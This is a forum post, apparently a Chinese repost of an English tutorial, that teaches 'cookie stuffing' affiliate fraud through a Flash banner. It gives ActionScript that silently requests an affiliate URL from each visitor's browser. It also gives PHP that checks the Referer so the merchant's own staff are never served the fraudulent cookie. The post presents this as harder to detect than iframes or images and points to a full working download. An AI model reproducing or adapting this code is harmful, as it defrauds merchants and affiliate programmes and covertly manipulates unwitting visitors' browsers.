|
本帖最后由 chinesestyle 于 2010-5-3 21:54 编辑
老外写的关于 cs 的 I think this is the best alternative to using iframes or images to cookie stuff people since it's much harder to detect compared to the other two solutions. As with the image cookie stuffing, flash cookie stuffing calls the affiliate url to send the cookie to our visitor. Flash is compiled into swf files which need to be decompiled before viewing the actionscript source code which is responsible for the whole trick.
You will need a flash editor such as Flash MX or something else able to add/edit actionscript code. My example uses eB4y so my final result will be one of their banners which can be taken from their website when you sign up as an affiliate.
The look of the banner is not so important since the whole trick sits in the actionscript code which I'm going to explain here:
Code:- import flash.net.URLRequest;
- import flash.net.sendToURL;
- import flash.net.navigateToURL;
- import flash.net.*;
- import flash.events.Event;
- Security.allowDomain("http://www.yourdomain.net/");
- Security.allowDomain("http://rover.eb4y.com/");
- Security.allowDomain("http://cgi.eb4y.com/");
- //-------------------------------------------------------------------
- var url:String = "http://www.yourdomain.net/script.php";
- var reqURL:URLRequest = new URLRequest(url);
- var loader:URLLoader = new URLLoader(reqURL);
- loader.addEventListener(Event.COMPLETE, handleComplete);
- loader.dataFormat = URLLoaderDataFormat.VARIABLES;
- function handleComplete( event:Event):void
- {
- var loader:URLLoader = URLLoader(event.target);
- var safe:Number = new Number(loader.data["safe"]);
- var url:Number = new Number(loader.data["url"]);
- if(safe==1)
- {
- var request:URLRequest = new URLRequest(url);
- flash.net.sendToURL(request);
- }
- }
复制代码 As you can see from our code, we create a request to "http://www.yourdomain.net/script.php" which returns a query string with a key called "safe". Safe means it's safe to cookie stuff the visitor. This is based on the referer of the visitor to make sure he's not the vendor itself. Just a security measure.
If the query string returns safe with a value of 1, we send the request to our affiliate url. Add this actionscript code to your flash banner and you got yourself a working cookie stuffing object.
The script.php page is just a simple php page which analyzes the referer to make sure it's within our allowed list, whatever that is. It also sends back the safe result and the affiliate url to be requested. We send it from php because you might wanna get in control and send url's based on geolocation, browser etc...:
PHP Code:- $referer = $_SERVER['HTTP_REFERER'];
-
- if ( substr((trim($referer)),0,20)!="http://cgi.eb4y.com/") //location your stuffing at
- {
- echo "safe=1&url=" . $affiliate_url;
- }
- else {
- echo "safe=0&url=" . $affiliate_url;
- }
复制代码 That's all there is to it. Make sure you check the download section for a full, working example. Good luck! |
|